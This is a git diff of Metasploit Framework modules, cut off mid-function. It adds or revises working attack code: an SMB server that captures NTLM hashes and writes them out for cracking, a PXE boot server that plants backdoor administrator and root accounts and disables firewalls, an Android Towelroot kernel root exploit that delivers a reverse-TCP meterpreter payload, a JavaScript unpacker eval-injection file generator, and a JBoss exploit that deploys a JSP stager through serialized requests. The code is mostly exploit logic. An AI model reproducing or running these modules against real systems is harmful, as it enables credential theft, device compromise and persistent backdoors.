Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}") return end + lm_hash_message = lm_hash + lm_chall_message = lm_cli_challenge + end - print_status(capturelogmessage) - lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s - nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s - pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}" + # Display messages + if esn + smb[:username] = Rex::Text::to_ascii(smb[:username]) + smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] + end - # DB reporting - report_auth_info( - :host => smb[:ip], - :port => datastore['SRVPORT'], - :sname => 'smb_challenge', - :user => smb[:username], - :pass => pass, - :type => smb_db_type_hash, - :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}", - :source_type => "captured", - :active => true - ) + capturedtime = Time.now.to_s + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"}", + "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}", + ].join("\n") + when NTLM_CONST::NTLM_V2_RESPONSE + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} ", + "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}", + "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} ", + "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}", + ].join("\n") + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + # we can consider those as netv1 has they have the same size and are + # cracked the same way by cain/jtr also 'real' netv1 is almost never + # seen nowadays except with smbmount or msf server capture + capturelogmessage = [ + "SMB Captured - #{capturedtime}", + "NTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]}", + "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}", + "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}", + "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} ", + ].join("\n") + else # should not happen + return + end - report_note( - :host => smb[:ip], - :type => "smb_peer_os", - :data => smb[:peer_os] - ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) + print_status(capturelogmessage) - report_note( - :host => smb[:ip], - :type => "smb_peer_lm", - :data => smb[:peer_lm] - ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_os", + :data => smb[:peer_os] + ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) - report_note( - :host => smb[:ip], - :type => "smb_domain", - :data => smb[:domain] - ) if (smb[:domain] and smb[:domain].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_peer_lm", + :data => smb[:peer_lm] + ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) + report_note( + :host => smb[:ip], + :type => "smb_domain", + :data => smb[:domain] + ) if (smb[:domain] and smb[:domain].strip.length > 0) - #if(datastore['LOGFILE']) - # File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")} - #end + return unless smb[:username] - if(datastore['CAINPWFILE'] and smb[:username]) - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - fd = File.open(datastore['CAINPWFILE'], "ab") + if datastore['CAINPWFILE'] and smb[:username] + if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + File.open(datastore['CAINPWFILE'], "ab") do |fd| fd.puts( [ smb[:username], @@ -572,84 +578,79 @@ class Metasploit3 < Msf::Auxiliary nt_hash.empty? ? "0" * 48 : nt_hash ].join(":").gsub(/\n/, "\\n") ) - fd.close end end - - if(datastore['JOHNPWFILE'] and smb[:username]) - case ntlm_ver - when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE - - fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - lm_hash.empty? ? "0" * 48 : lm_hash, - nt_hash.empty? ? "0" * 48 : nt_hash, - @challenge.unpack("H*")[0] - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - when NTLM_CONST::NTLM_V2_RESPONSE - #lmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - lm_hash.empty? ? "0" * 32 : lm_hash, - lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") - fd.puts( - [ - smb[:username],"", - smb[:domain] ? smb[:domain] : "NULL", - @challenge.unpack("H*")[0], - nt_hash.empty? ? "0" * 32 : nt_hash, - nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge - ].join(":").gsub(/\n/, "\\n") - ) - fd.close - end - - end end - end - def smb_cmd_close(c, buff) - end + return if @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash + @previous_lm_hash = lm_hash + @previous_ntlm_hash = nt_hash - def smb_cmd_create(c, buff) - end + creds = [] - def smb_cmd_delete(c, buff) - end + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + lm_hash.empty? ? "0" * 48 : lm_hash, + nt_hash.empty? ? "0" * 48 : nt_hash, + @challenge.unpack("H*")[0] + ].join(":").strip - def smb_cmd_nttrans(c, buff) - end + creds.push(jtr_format: 'netntlm', private_data: jtr_hash) - def smb_cmd_open(c, buff) - end + when NTLM_CONST::NTLM_V2_RESPONSE + # don't bother recording if LMv2 is disabled + unless lm_hash == '0'*32 + # lmv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + lm_hash, + lm_cli_challenge + ].join(":").strip - def smb_cmd_read(c, buff) - end + creds.push(jtr_format: 'netlmv2', private_data: jtr_hash) + end - def smb_cmd_trans(c, buff) - end + # NTLMv2 + jtr_hash = [ + smb[:username],"", + smb[:domain] ? smb[:domain] : "NULL", + @challenge.unpack("H*")[0], + nt_hash.empty? ? "0" * 32 : nt_hash, + nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge + ].join(":").strip - def smb_cmd_tree_connect(c, buff) - end + creds.push(jtr_format: 'netntlmv2', private_data: jtr_hash) - def smb_cmd_tree_disconnect(c, buff) - end + end + + # TODO we probably need a new Origin::Capture for this + @origin ||= create_credential_origin_import(filename: 'msfconsole') + + creds.each do |cred| + create_credential( + origin: @origin, + address: smb[:ip], + service_name: 'smb', + port: datastore['SRVPORT'], + private_data: cred[:private_data], + private_type: :nonreplayable_hash, + jtr_format: cred[:jtr_format], + username: smb[:username], + module_fullname: self.fullname, + workspace_id: myworkspace_id, + ) + if datastore['JOHNPWFILE'] + File.open(datastore['JOHNPWFILE'] + '_' + cred[:jtr_format] , "ab") do |fd| + fd.puts(cred[:private_data]) + end + end + end - def smb_cmd_write(c, buff) end end diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb new file mode 100644 index 0000000000..a2a7815f82 --- /dev/null +++ b/modules/auxiliary/server/pxeexploit.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Boot Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.start + add_socket(@tftp.sock) + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note( + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + ) + end + @dhcp.start + add_socket(@dhcp.sock) + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + + end + +end diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 86db0e5c4c..d7b4f60206 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -11,6 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit') def initialize super( @@ -38,12 +41,17 @@ class Metasploit3 < Msf::Auxiliary [ 'Service' ], - 'DefaultAction' => 'Service' + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), @@ -52,12 +60,6 @@ class Metasploit3 < Msf::Auxiliary end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - print_status("Starting TFTP server...") @tftp = Rex::Proto::TFTP::Server.new @tftp.set_tftproot(datastore['TFTPROOT']) diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 0ebf09384e..21cadc3de2 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -55,15 +55,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) end - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 543b27c24f..8eb60e5fe8 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -58,16 +58,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off) end - - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/exploits/android/local/futex_requeue.rb b/modules/exploits/android/local/futex_requeue.rb new file mode 100644 index 0000000000..204bf8af5b --- /dev/null +++ b/modules/exploits/android/local/futex_requeue.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit", + 'Description' => %q{ + This module exploits a bug in futex_requeue in the Linux kernel, using + similiar techniques employed by the towelroot exploit. Any Android device + with a kernel built before June 2014 is likely to be vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Pinkie Pie', # discovery + 'geohot', # towelroot + 'timwr' # metasploit module + ], + 'References' => + [ + [ 'CVE', '2014-3153' ], + [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ], + [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ], + ], + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => 'android', + 'Targets' => [[ 'Automatic', { }]], + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => + { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp', + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "May 03 2014" + } + )) + + register_options([ + OptString.new("WritableDir", [ true, "Temporary directory to write files", "/data/local/tmp/" ]), + ], self.class) + end + + def put_local_file(remotefile) + localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) + data = File.read(localfile, {:mode => 'rb'}) + write_file(remotefile, data) + end + + def exploit + workingdir = session.fs.dir.getwd + exploitfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + payloadfile = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}" + + put_local_file(exploitfile) + cmd_exec('/system/bin/chmod 700 ' + exploitfile) + write_file(payloadfile, payload.raw) + + tmpdir = datastore['WritableDir'] + rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" + rootpayload = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}.jar" + + rootcmd = " mkdir #{rootclassdir} && " + rootcmd += "cd #{rootclassdir} && " + rootcmd += "cp " + payloadfile + " #{rootpayload} && " + rootcmd += "chmod 766 #{rootpayload} && " + rootcmd += "dalvikvm -Xbootclasspath:/system/framework/core.jar -cp #{rootpayload} com.metasploit.stage.Payload" + + process = session.sys.process.execute(exploitfile, rootcmd, {'Hidden' => true, 'Channelized' => true}) + process.channel.read + end + +end + diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index 2cc5fb0279..56bb341327 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index 71e465507d..ae73ad1779 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 1570d36da6..ed72293621 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 9bfc40dfab..b5bbdc6329 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::RopDb include Msf::Exploit::Brute diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 38588f92b4..63f0fdc1a8 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb new file mode 100644 index 0000000000..1e15976eb4 --- /dev/null +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::JSObfu + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Javascript Injection for Eval-based Unpackers', + 'Description' => %q{ + This module generates a Javascript file that executes arbitrary code + when an eval-based unpacker is run on it. Works against js-beautify's + P_A_C_K_E_R unpacker. + }, + 'Author' => [ 'joev' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Platform' => 'nodejs', + 'Arch' => ARCH_NODEJS, + 'Privileged' => false, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Feb 18 2015', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), + OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) + ], self.class) + end + + def exploit + p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded); + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") + end + +end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 41865e2c6e..c56b3aba1f 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -88,9 +88,9 @@ class Metasploit4 < Msf::Exploit::Remote end def check - res = send_serialized_request('version.bin') + res = send_serialized_request('version') if res.nil? - vprint_error("Connection timed out") + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") @@ -103,7 +103,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -113,31 +113,29 @@ class Metasploit4 < Msf::Exploit::Remote def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") if not mytarget + fail_with('Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end - # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" - stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, - stager_code => generate_stager(name_parameter, content_parameter) + 'jsp_code' => generate_stager(name_parameter, content_parameter) } - print_status("Deploying stager") - send_serialized_request('installstager.bin', replace_values) + print_status('Deploying stager') + send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') @@ -162,23 +160,21 @@ class Metasploit4 < Msf::Exploit::Remote name_parameter => app_base, content_parameter => b64_war } - }, 20) + }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager - print_status("Removing payload through stager") + print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi( - {'uri' => delete_payload_uri, - }) + res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager - print_status("Removing stager") - send_serialized_request('removestagerfile.bin', replace_values) - send_serialized_request('removestagerdirectory.bin', replace_values) + print_status('Removing stager') + send_serialized_request('removestagerfile', replace_values) + send_serialized_request('removestagerdirectory', replace_values) handler end @@ -226,18 +222,39 @@ catch(Exception e) {} %> EOT - # The script must be exactly 810 characters long, otherwise we might have serialization issues - # Therefore we fill the rest wit spaces - spaces = " " * (810 - stager_script.length) - stager_script << spaces end - def send_serialized_request(file_name , replace_params = {}) - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - - replace_params.each { |key, value| data.gsub!(key, value) } + def send_serialized_request(operation , replace_params = {}) + data = '' + case operation + when 'version' + data = build_get_version.encode + when 'osname' + data = build_get_os.encode + when 'osarch' + data = build_get_arch.encode + when 'installstager' + data = build_install_stager( + war_name: replace_params['regex_app_base'], + jsp_name: replace_params['regex_jsp_name'], + data: replace_params['jsp_code'] + ).encode + when 'removestagerfile' + data = build_delete_stager_file( + dir: "#{replace_params['regex_app_base']}.war", + file: replace_params['regex_jsp_name'], + extension: '.jsp' + ).encode + when 'removestagerdirectory' + data = build_delete_stager_file( + dir: './', + file: replace_params['regex_app_base'], + extension: '.war' + ).encode + else + fail_with(Failure::Unknown, "#{peer} - Unexpected operation") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -251,20 +268,19 @@ EOT }, 25) - if (not res) or (res.code != 200) - print_error("Failed: Error requesting preserialized request #{file_name}") + unless res && res.code == 200 + print_error("Failed: Error requesting preserialized request #{operation}") return nil end res end - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if (verb == "POST") + if verb == "POST" res = send_request_cgi( { 'uri' => uri, @@ -281,17 +297,17 @@ EOT end msg = nil - if (!res) + if res.nil? msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) + elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) + elsif res.code == 200 print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." + if attempt < num_attempts - 1 + msg << ', retrying in 5 seconds...' print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else @@ -303,12 +319,12 @@ EOT def auto_target - print_status("Attempting to automatically select a target") + print_status('Attempting to automatically select a target') - plat = detect_platform() - arch = detect_architecture() + plat = detect_platform + arch = detect_architecture - return nil if (not arch or not plat) + return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } @@ -317,37 +333,408 @@ EOT return nil end - # Try to autodetect the target platform def detect_platform - print_status("Attempting to automatically detect the platform") - res = send_serialized_request("osname.bin") + print_status('Attempting to automatically detect the platform') + res = send_serialized_request('osname') - if (res.body =~ /(Linux|FreeBSD|Windows)/i) + if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 - if (os =~ /Linux/i) + if os =~ /Linux/i return 'linux' - elsif (os =~ /FreeBSD/i) + elsif os =~ /FreeBSD/i return 'linux' - elsif (os =~ /Windows/i) + elsif os =~ /Windows/i return 'win' end end nil end - # Try to autodetect the architecture - def detect_architecture() - print_status("Attempting to automatically detect the architecture") - res = send_serialized_request("osarch.bin") - if (res.body =~ /(i386|x86)/i) + def detect_architecture + print_status('Attempting to automatically detect the architecture') + res = send_serialized_request('osarch') + if res.body =~ /(i386|x86)/i arch = $1 - if (arch =~ /i386|x86/i) + if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end end nil end + + def build_get_version + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') + + build_invocation(stream) + end + + def build_get_os + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') + + build_invocation(stream) + end + + def build_get_arch + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') + + build_invocation(stream) + end + + def build_install_stager(opts = {}) + war_name = "#{opts[:war_name]}.war" + jsp_name = opts[:jsp_name] || '' + extension = opts[:extension] || '.jsp' + data = opts[:data] || '' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'store') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, war_name), + Rex::Java::Serialization::Model::Utf.new(nil, 